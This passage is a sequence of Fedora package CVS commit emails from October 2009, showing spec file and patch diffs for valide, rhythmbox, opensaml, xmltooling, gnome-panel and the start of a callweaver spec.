+valide-0_5_1-0_19_20091019svn425_fc11:HEAD:valide-0.5.1-0.19.20091019svn425.fc11.src.rpm:1255971798


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/devel/valide.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- valide.spec	19 Oct 2009 14:16:30 -0000	1.8
+++ valide.spec	19 Oct 2009 17:04:27 -0000	1.9
@@ -10,7 +10,7 @@
 
 Name:			valide
 Version:		0.5.1
-Release:		0.18.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.19.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -121,6 +121,9 @@ fi
 
 %changelog
 * Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
+- Bug fix
+
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.18.20091019svn425
 - Update valide to revision 425
 - Some bug fix
 



From hadess at fedoraproject.org  Mon Oct 19 17:04:23 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 17:04:23 +0000 (UTC)
Subject: rpms/rhythmbox/devel
	0001-Use-Cubic-volume-when-StreaVolume-interface-is-avail.patch,
	NONE, 1.1 rhythmbox.spec, 1.270, 1.271
Message-ID: <20091019170423.69BD311C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/rhythmbox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6605

Modified Files:
	rhythmbox.spec 
Added Files:
	0001-Use-Cubic-volume-when-StreaVolume-interface-is-avail.patch 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-7
- Use bicubic volumes in the UI


0001-Use-Cubic-volume-when-StreaVolume-interface-is-avail.patch:
 backends/gstreamer/rb-player-gst-xfade.c |   24 ++++++++++++++++++++++--
 backends/gstreamer/rb-player-gst.c       |   18 ++++++++++++++++--
 configure.ac                             |    5 ++---
 3 files changed, 40 insertions(+), 7 deletions(-)

--- NEW FILE 0001-Use-Cubic-volume-when-StreaVolume-interface-is-avail.patch ---
>From 86dd077ddc6cbb6984382f8dde94079b5f6c9e9a Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Mon, 19 Oct 2009 16:16:32 +0100
Subject: [PATCH] Use Cubic volume when StreaVolume interface is available

Fixes Rhythmbox's sound not matching the volume levels advertised
in pavucontrol and gnome-volume-control.

https://bugzilla.gnome.org/show_bug.cgi?id=598955
---
 backends/gstreamer/rb-player-gst-xfade.c |   24 ++++++++++++++++++++++--
 backends/gstreamer/rb-player-gst.c       |   18 ++++++++++++++++--
 configure.ac                             |    4 ++--
 3 files changed, 40 insertions(+), 6 deletions(-)

diff --git a/backends/gstreamer/rb-player-gst-xfade.c b/backends/gstreamer/rb-player-gst-xfade.c
index 101ba0c..f96634d 100644
--- a/backends/gstreamer/rb-player-gst-xfade.c
+++ b/backends/gstreamer/rb-player-gst-xfade.c
@@ -158,6 +158,7 @@
 #include <gst/gst.h>
 #include <gst/controller/gstcontroller.h>
 #include <gst/base/gstbasetransform.h>
+#include <gst/interfaces/streamvolume.h>
 #include <gst/pbutils/pbutils.h>
 
 #include "rb-player.h"
@@ -2622,7 +2623,16 @@ tick_timeout (RBPlayerGstXFade *player)
 static gboolean
 emit_volume_changed_idle (RBPlayerGstXFade *player)
 {
-	_rb_player_emit_volume_changed (RB_PLAYER (player), player->priv->cur_volume);
+	double vol;
+
+	if (gst_element_implements_interface (player->priv->volume_handler, GST_TYPE_STREAM_VOLUME)) {
+		vol = gst_stream_volume_get_volume (GST_STREAM_VOLUME (player->priv->volume_handler),
+						    GST_STREAM_VOLUME_FORMAT_CUBIC);
+	} else {
+		vol = player->priv->cur_volume;
+	}
+
+	_rb_player_emit_volume_changed (RB_PLAYER (player), vol);
 	return FALSE;
 }
 
@@ -3700,7 +3710,13 @@ rb_player_gst_xfade_set_volume (RBPlayer *iplayer, float volume)
 		gdouble v = (gdouble)volume;
 
 		/* maybe use a controller here for smoother changes? */
-		g_object_set (player->priv->volume_handler, "volume", v, NULL);
+		if (gst_element_implements_interface (player->priv->volume_handler,
+						      GST_TYPE_STREAM_VOLUME)) {
+			gst_stream_volume_set_volume (GST_STREAM_VOLUME (player->priv->volume_handler),
+						      GST_STREAM_VOLUME_FORMAT_CUBIC, v);
+		} else {
+			g_object_set (player->priv->volume_handler, "volume", v, NULL);
+		}
 		player->priv->volume_applied = player->priv->volume_changed;
 	}
 	player->priv->cur_volume = volume;
@@ -3712,6 +3728,10 @@ rb_player_gst_xfade_get_volume (RBPlayer *iplayer)
 {
 	RBPlayerGstXFade *player = RB_PLAYER_GST_XFADE (iplayer);
 
+	if (gst_element_implements_interface (player->priv->volume_handler, GST_TYPE_STREAM_VOLUME))
+		return gst_stream_volume_get_volume (GST_STREAM_VOLUME (player->priv->volume_handler),
+						     GST_STREAM_VOLUME_FORMAT_CUBIC);
+
 	return player->priv->cur_volume;
 }
 
diff --git a/backends/gstreamer/rb-player-gst.c b/backends/gstreamer/rb-player-gst.c
index 21246a1..f02712e 100644
--- a/backends/gstreamer/rb-player-gst.c
+++ b/backends/gstreamer/rb-player-gst.c
@@ -36,6 +36,7 @@
 #include <glib/gi18n.h>
 #include <gdk/gdk.h>
 #include <gst/tag/tag.h>
+#include <gst/interfaces/streamvolume.h>
 #include <gst/pbutils/pbutils.h>
 
 #include "rb-debug.h"
@@ -155,7 +156,16 @@ about_to_finish_cb (GstElement *playbin, RBPlayerGst *player)
 static gboolean
 emit_volume_changed_idle (RBPlayerGst *player)
 {
-	_rb_player_emit_volume_changed (RB_PLAYER (player), player->priv->cur_volume);
+	double vol;
+
+	if (gst_element_implements_interface (player->priv->playbin, GST_TYPE_STREAM_VOLUME)) {
+		vol = gst_stream_volume_get_volume (GST_STREAM_VOLUME (player->priv->playbin),
+						    GST_STREAM_VOLUME_FORMAT_CUBIC);
+	} else {
+		vol = player->priv->cur_volume;
+	}
+
+	_rb_player_emit_volume_changed (RB_PLAYER (player), vol);
 	return FALSE;
 }
 
@@ -720,7 +730,11 @@ set_playbin_volume (RBPlayerGst *player, float volume)
 	 * we still get another one anyway.
 	 */
 	g_signal_handlers_block_by_func (player->priv->playbin, volume_notify_cb, player);
-	g_object_set (player->priv->playbin, "volume", volume, NULL);
+	if (gst_element_implements_interface (player->priv->playbin, GST_TYPE_STREAM_VOLUME))
+		gst_stream_volume_set_volume (GST_STREAM_VOLUME (player->priv->playbin),
+					      GST_STREAM_VOLUME_FORMAT_CUBIC, volume);
+	else
+		g_object_set (player->priv->playbin, "volume", volume, NULL);
 	g_signal_handlers_unblock_by_func (player->priv->playbin, volume_notify_cb, player);
 }
 
diff --git a/configure.ac b/configure.ac
index db6ed1f..1f45d41 100644
--- a/configure.ac
+++ b/configure.ac
@@ -30,7 +30,7 @@ AC_C_BIGENDIAN
 AC_CHECK_SIZEOF(long)
 
 DBUS_MIN_REQS=0.35
-GST_0_10_REQS=0.10.20
+GST_0_10_REQS=0.10.25
 GTK_REQS=2.12.0
 GLIB_REQS=2.16.0
 GNOME_MEDIA_PROFILES_REQS=2.8
@@ -247,7 +247,7 @@ PKG_CHECK_MODULES(GSTREAMER_0_10, \
 	gstreamer-plugins-base-0.10 >= $GST_0_10_REQS)
 
 RHYTHMBOX_CFLAGS="$RHYTHMBOX_CFLAGS $GSTREAMER_0_10_CFLAGS"
-RHYTHMBOX_LIBS="$RHYTHMBOX_LIBS $GSTREAMER_0_10_LIBS"
+RHYTHMBOX_LIBS="$RHYTHMBOX_LIBS $GSTREAMER_0_10_LIBS -lgstinterfaces-0.10"
 
 dnl DAAP (iTunes Music Shares)
 AC_ARG_ENABLE(daap,
-- 
1.6.5.rc2



Index: rhythmbox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhythmbox/devel/rhythmbox.spec,v
retrieving revision 1.270
retrieving revision 1.271
diff -u -p -r1.270 -r1.271
--- rhythmbox.spec	16 Oct 2009 15:22:32 -0000	1.270
+++ rhythmbox.spec	19 Oct 2009 17:04:23 -0000	1.271
@@ -3,7 +3,7 @@
 Name: rhythmbox
 Summary: Music Management Application
 Version: 0.12.5
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2+ with exceptions and GFDL
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/rhythmbox/
@@ -58,6 +58,8 @@ Patch1: 0001-Use-C-only-for-the-browser-
 Patch2: rb-fix-daap-plugin.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=596615
 Patch3: rb-no-HEAD-for-podcasts.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=598955
+Patch4: 0001-Use-Cubic-volume-when-StreaVolume-interface-is-avail.patch
 
 %description
 Rhythmbox is an integrated music management application based on the powerful
@@ -96,6 +98,7 @@ from, and sending media to UPnP/DLNA net
 %patch2 -p1 -b .daap
 autoreconf -i
 %patch3 -p1 -b .http-head
+%patch4 -p1 -b .bicubic
 
 # Use the installed louie, not the one in Coherence
 find plugins/coherence/upnp_coherence/ -type f -exec sed -i 's/coherence.extern.louie as louie/louie/' '{}' ';'
@@ -227,6 +230,9 @@ fi
 %{_libdir}/rhythmbox/plugins/upnp_coherence
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-7
+- Use bicubic volumes in the UI
+
 * Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-6
 - Avoid using HEAD to get podcast mime-types
 



From bioinfornatics at fedoraproject.org  Mon Oct 19 17:05:39 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 17:05:39 +0000 (UTC)
Subject: rpms/valide/F-11 import.log,1.4,1.5 valide.spec,1.7,1.8
Message-ID: <20091019170539.9D6B711C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7180/F-11

Modified Files:
	import.log valide.spec 
Log Message:



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-11/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	19 Oct 2009 15:08:08 -0000	1.4
+++ import.log	19 Oct 2009 17:05:39 -0000	1.5
@@ -2,3 +2,4 @@ valide-0_5_1-0_12_20090715svn280_fc11:F-
 valide-0_5_1-0_13_20090715svn280_fc11:F-11:valide-0.5.1-0.13.20090715svn280.fc11.src.rpm:1247685453
 valide-0_5_1-0_14_20090720svn291_fc11:F-11:valide-0.5.1-0.14.20090720svn291.fc11.src.rpm:1248112158
 valide-0_5_1-0_18_20091019svn425_fc11:F-11:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255964828
+valide-0_5_1-0_19_20091019svn425_fc11:F-11:valide-0.5.1-0.19.20091019svn425.fc11.src.rpm:1255971905


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-11/valide.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- valide.spec	19 Oct 2009 15:08:09 -0000	1.7
+++ valide.spec	19 Oct 2009 17:05:39 -0000	1.8
@@ -10,7 +10,7 @@
 
 Name:			valide
 Version:		0.5.1
-Release:		0.18.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.19.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -121,6 +121,9 @@ fi
 
 %changelog
 * Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
+- Bug fix
+
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.18.20091019svn425
 - Update valide to revision 425
 - Some bug fix
 



From bioinfornatics at fedoraproject.org  Mon Oct 19 17:06:37 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 17:06:37 +0000 (UTC)
Subject: rpms/valide/F-12 import.log,1.5,1.6 valide.spec,1.8,1.9
Message-ID: <20091019170637.AFED511C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7528/F-12

Modified Files:
	import.log valide.spec 
Log Message:



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-12/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	19 Oct 2009 15:05:46 -0000	1.5
+++ import.log	19 Oct 2009 17:06:36 -0000	1.6
@@ -3,3 +3,4 @@ valide-0_5_1-0_12_20090715svn280_fc11:HE
 valide-0_5_1-0_13_20090715svn280_fc11:HEAD:valide-0.5.1-0.13.20090715svn280.fc11.src.rpm:1247684671
 valide-0_5_1-0_14_20090720svn291_fc11:HEAD:valide-0.5.1-0.14.20090720svn291.fc11.src.rpm:1248110015
 valide-0_5_1-0_18_20091019svn425_fc11:F-12:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255964491
+valide-0_5_1-0_19_20091019svn425_fc11:F-12:valide-0.5.1-0.19.20091019svn425.fc11.src.rpm:1255971951


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-12/valide.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- valide.spec	19 Oct 2009 15:05:46 -0000	1.8
+++ valide.spec	19 Oct 2009 17:06:36 -0000	1.9
@@ -10,7 +10,7 @@
 
 Name:			valide
 Version:		0.5.1
-Release:		0.18.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.19.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -121,6 +121,9 @@ fi
 
 %changelog
 * Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
+- Bug fix
+
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.18.20091019svn425
 - Update valide to revision 425
 - Some bug fix
 



From stevetraylen at fedoraproject.org  Mon Oct 19 17:07:45 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 19 Oct 2009 17:07:45 +0000 (UTC)
Subject: rpms/opensaml/devel import.log, NONE,
	1.1 opensaml-rm-pl-ending.patch, 
	NONE, 1.1 opensaml.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091019170745.3919B11C00DC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/opensaml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8095/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log opensaml-rm-pl-ending.patch opensaml.spec 
Log Message:
Import of rhbz#527336



--- NEW FILE import.log ---
opensaml-2_2_1-2_fc11:HEAD:opensaml-2.2.1-2.fc11.src.rpm:1255971998

opensaml-rm-pl-ending.patch:
 configure.ac |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE opensaml-rm-pl-ending.patch ---
diff -uNr opensaml-2.2.1.ORIG/configure.ac opensaml-2.2.1/configure.ac
--- opensaml-2.2.1.ORIG/configure.ac	2009-10-06 00:42:03.978216066 +0200
+++ opensaml-2.2.1/configure.ac	2009-10-06 00:42:57.651149846 +0200
@@ -254,12 +254,12 @@
         [AC_MSG_ERROR([unable to link with XMLTooling, or version was too old])])
 
 # Check for unit test support
-CXXTEST="/usr/bin/cxxtestgen.pl"
+CXXTEST="/usr/bin/cxxtestgen"
 CXXTESTFLAGS=""
 AC_ARG_WITH(cxxtest,
             AC_HELP_STRING([--with-cxxtest=PATH], [where cxxtest is installed]),
             [if test x_$with_cxxtest != x_/usr; then
-                CXXTEST="${with_cxxtest}/cxxtestgen.pl"
+                CXXTEST="${with_cxxtest}/cxxtestgen"
                 CXXTESTFLAGS="-I${with_cxxtest}"
             fi])
 if ! test -f "${CXXTEST}"; then


--- NEW FILE opensaml.spec ---
Name:           opensaml
Version:        2.2.1
Release:        2%{?dist}
Summary:        Security Assertion Markup Language

Group:          System Environment/Libraries
License:        ASL 2.0
URL:            http://www.opensaml.org/
Source0:        http://shibboleth.internet2.edu/downloads/opensaml/cpp/%{version}/opensaml-%{version}.tar.gz
Patch0:         %{name}-rm-pl-ending.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  log4cpp-devel
BuildRequires:  xerces-c-devel >= 2.8.0
BuildRequires:  xmltooling-devel
BuildRequires:  xml-security-c-devel >= 1.4.0
BuildRequires:  doxygen
BuildRequires:  cxxtest

Requires:       xml-common

# Needed since we are doing an autoreconf
# below.
BuildRequires:  automake
BuildRequires:  autoconf
BuildRequires:  libtool

%description
OpenSAML is an open source implementation of the OASIS Security Assertion
Markup Language Specification. It contains a set of open source C++ classes
that support the SAML 1.0, 1.1, and 2.0 specifications.

%package devel
Summary: Security Assertion Markup Language Development
Group:          System Environment/Libraries
Requires: %{name} = %{version}-%{release}

%description devel
OpenSAML is an open source implementation of the OASIS Security Assertion
Markup Language Specification. It contains a set of open source C++ classes
that support the SAML 1.0, 1.1, and 2.0 specifications.

%{name}-devel provides header files for development.

%package doc
Summary: Security Assertion Markup Language Documentation
Group:          System Environment/Libraries
Requires: %{name} = %{version}-%{release}
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:      noarch
%endif

%description doc
OpenSAML is an open source implementation of the OASIS Security Assertion
Markup Language Specification. It contains a set of open source C++ classes
that support the SAML 1.0, 1.1, and 2.0 specifications.

%{name}-doc provides documentation.

%prep
%setup -q
%patch0 -p1
# Remove private zlib to be sure we don't use it.
rm -rf saml/zlib

%build
aclocal 
autoconf
autoheader
automake --add-missing --copy
libtoolize --copy --force

%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

%check
make check

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%{_bindir}/samlsign
%{_bindir}/samltest
%{_libdir}/libsaml.so.*
%{_datadir}/xml/opensaml

%doc doc/README.txt doc/LICENSE.txt

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so

%files doc
%defattr(-,root,root,-)
%doc doc/api/html


%changelog
* Fri Oct 16 2009 Steve Traylen  <steve.traylen at cern.ch>  - 2.2.1-2
- Change Source URL to explicit version rather than "latest"
- Add a BuildRequires of cxxtest.
- Add Requires xml-common  to ensure existence of /usr/share/xml
- Add more minimum versions for BuildRequires.
* Tue Oct 6 2009  Steve Traylen  <steve.traylen at cern.ch>  - 2.2.1-1
- First Build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/opensaml/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:16:34 -0000	1.1
+++ .cvsignore	19 Oct 2009 17:07:44 -0000	1.2
@@ -0,0 +1 @@
+opensaml-2.2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/opensaml/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:16:34 -0000	1.1
+++ sources	19 Oct 2009 17:07:45 -0000	1.2
@@ -0,0 +1 @@
+c0771abe0219729e9758ece6c444df5b  opensaml-2.2.1.tar.gz



From stevetraylen at fedoraproject.org  Mon Oct 19 17:08:14 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 19 Oct 2009 17:08:14 +0000 (UTC)
Subject: rpms/xmltooling/devel import.log, NONE,
	1.1 xmltooling-python-cxxtest.patch, NONE, 1.1 xmltooling.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019170814.C1FBD11C00DC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/xmltooling/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8302/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log xmltooling-python-cxxtest.patch xmltooling.spec 
Log Message:
Import rhbz#527308



--- NEW FILE import.log ---
xmltooling-1_2_2-2_fc11:HEAD:xmltooling-1.2.2-2.fc11.src.rpm:1255972014

xmltooling-python-cxxtest.patch:
 configure.ac |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE xmltooling-python-cxxtest.patch ---
diff -uNr xmltooling-1.2.2.ORIG/configure.ac xmltooling-1.2.2/configure.ac
--- xmltooling-1.2.2.ORIG/configure.ac	2009-10-05 19:13:14.066951091 +0200
+++ xmltooling-1.2.2/configure.ac	2009-10-05 19:13:54.945200753 +0200
@@ -346,12 +346,12 @@
         )
 
 # Check for unit test support
-CXXTEST="/usr/bin/cxxtestgen.pl"
+CXXTEST="/usr/bin/cxxtestgen"
 CXXTESTFLAGS=""
 AC_ARG_WITH(cxxtest,
             AC_HELP_STRING([--with-cxxtest=PATH], [where cxxtest is installed]),
             [if test x_$with_cxxtest != x_/usr; then
-                CXXTEST="${with_cxxtest}/cxxtestgen.pl"
+                CXXTEST="${with_cxxtest}/cxxtestgen"
                 CXXTESTFLAGS="-I${with_cxxtest}"
             fi])
 if ! test -f "${CXXTEST}"; then


--- NEW FILE xmltooling.spec ---
Name:           xmltooling
Version:        1.2.2
Release:        2%{?dist}
Summary:        XML signing and encrytion library

Group:          System Environment/Libraries
License:        ASL 2.0
URL:            https://spaces.internet2.edu/display/OpenSAML/XMLTooling-C
Source0:        http://shibboleth.internet2.edu/downloads/opensaml/cpp/2.2.1/xmltooling-%{version}.tar.gz
Patch0:         %{name}-python-cxxtest.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  xml-security-c-devel
BuildRequires:  cxxtest
BuildRequires:  log4cpp-devel
BuildRequires:  xerces-c-devel
BuildRequires:  doxygen

%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:  libcurl-devel
%else
BuildRequires:  curl-devel
%endif

# To bring in /usr/share/xml
Requires:       xml-common

# Needed since we are doing and autoreconf
# below.
BuildRequires:  automake
BuildRequires:  autoconf
BuildRequires:  libtool


%description
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

%package doc
Group: Documentation
Summary: XML signing and encrytion library documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:      noarch
%endif

%description doc
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

This %{name}-doc package contains documentation.

%package devel
Group: System Environment/Libraries
Summary: XML signing and encrytion library development files
Requires: %{name} = %{version}-%{release}

%description devel
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

This %{name}-devel package contains header files.


%prep
%setup -q
%patch0 -p1


%build
aclocal 
autoconf
autoheader
automake --add-missing --copy
libtoolize --copy --force

%configure 
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# Don't need the unit test executer.
rm -f $RPM_BUILD_ROOT/%{_bindir}/xmltoolingtest

%check
make check


%clean
rm -rf $RPM_BUILD_ROOT


%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%{_libdir}/*.so.*
%{_datadir}/xml/xmltooling
%doc doc/README.txt doc/LICENSE.txt

%files doc
%defattr(-,root,root,-)
%doc doc/api/html

%files devel
%defattr(-,root,root,-)
%{_includedir}/%{name}
%{_libdir}/*.so

%changelog
* Sat Oct 17 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-2
- Change Source URL to be permanent rather than contain "latest"
- Require xml-common to bring in /usr/share/xml
* Mon Oct 5 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-1
- First Build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xmltooling/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:05:12 -0000	1.1
+++ .cvsignore	19 Oct 2009 17:08:14 -0000	1.2
@@ -0,0 +1 @@
+xmltooling-1.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xmltooling/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:05:12 -0000	1.1
+++ sources	19 Oct 2009 17:08:14 -0000	1.2
@@ -0,0 +1 @@
+2331cbcf257319c40854cefd1783fa96  xmltooling-1.2.2.tar.gz



From mclasen at fedoraproject.org  Mon Oct 19 17:14:06 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 17:14:06 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 gnome-panel.spec, 1.376,
	1.377 icon-padding.patch, 1.1, 1.2
Message-ID: <20091019171406.2380E11C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10465

Modified Files:
	gnome-panel.spec icon-padding.patch 
Log Message:
Actually make the padding non-zero by default



Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.376
retrieving revision 1.377
diff -u -p -r1.376 -r1.377
--- gnome-panel.spec	18 Oct 2009 03:54:45 -0000	1.376
+++ gnome-panel.spec	19 Oct 2009 17:14:05 -0000	1.377
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 7%{?dist}
+Release: 8%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -384,7 +384,10 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
-* Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-7
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-9
+- Actually set non-zero padding
+
+* Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-8
 - Add padding around status icons
 
 * Fri Oct 16 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-6

icon-padding.patch:
 Makefile.am                         |   18 +++++++++++++++
 main.c                              |   40 ++++++++++++++++++++++++++++++++++-
 na-tray-manager.c                   |   41 ++++++++++++++++++++++++++++++++++++
 na-tray-manager.h                   |    3 ++
 na-tray.c                           |   12 ++++++++++
 na-tray.h                           |    2 +
 notification_area_applet.schemas.in |   17 ++++++++++++++
 7 files changed, 132 insertions(+), 1 deletion(-)

Index: icon-padding.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/icon-padding.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- icon-padding.patch	18 Oct 2009 03:54:46 -0000	1.1
+++ icon-padding.patch	19 Oct 2009 17:14:05 -0000	1.2
@@ -96,7 +96,7 @@ diff -u -r gnome-panel-2.28.0/applets/no
 +install-data-local:
 +	if test -z "$(DESTDIR)" ; then \
 +		for p in $(schemas_DATA) ; do \
-+			GCONF_CONFIG_SOURCE=$(GCONF_SCHEMA_CONFIG_SOURCE) $(GCONFTOOL) --makefile-install-rule $(top_builddir)/applets/clock/$$p ; \
++			GCONF_CONFIG_SOURCE=$(GCONF_SCHEMA_CONFIG_SOURCE) $(GCONFTOOL) --makefile-install-rule $(top_builddir)/applets/notification_area/$$p ; \
 +		done \
 +	fi
 +else
@@ -243,7 +243,7 @@ diff -u -r gnome-panel-2.28.0/applets/no
 +        <key>/schemas/apps/notification_area_applet/prefs/padding</key>
 +        <owner>notification-area-applet</owner>
 +        <type>int</type>
-+        <default>0</default>
++        <default>3</default>
 +        <locale name="C">
 +          <short>Padding</short>
 +          <long>



From itamarjp at fedoraproject.org  Mon Oct 19 17:14:26 2009
From: itamarjp at fedoraproject.org (Itamar Reis Peixoto)
Date: Mon, 19 Oct 2009 17:14:26 +0000 (UTC)
Subject: rpms/callweaver/EL-5 callweaver.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019171426.24E4F11C00DC@cvs1.fedora.phx.redhat.com>

Author: itamarjp

Update of /cvs/pkgs/rpms/callweaver/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9228/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	callweaver.spec import.log 
Log Message:
initial EL-5 build



--- NEW FILE callweaver.spec ---
#define snap 20071230

%bcond_without misdn
%bcond_without zaptel

%bcond_without	fedora

Name:		callweaver
Version:	1.2.1
Release:	3%{?snap:.%{snap}}%{?dist}
Summary:	The Truly Open Source PBX

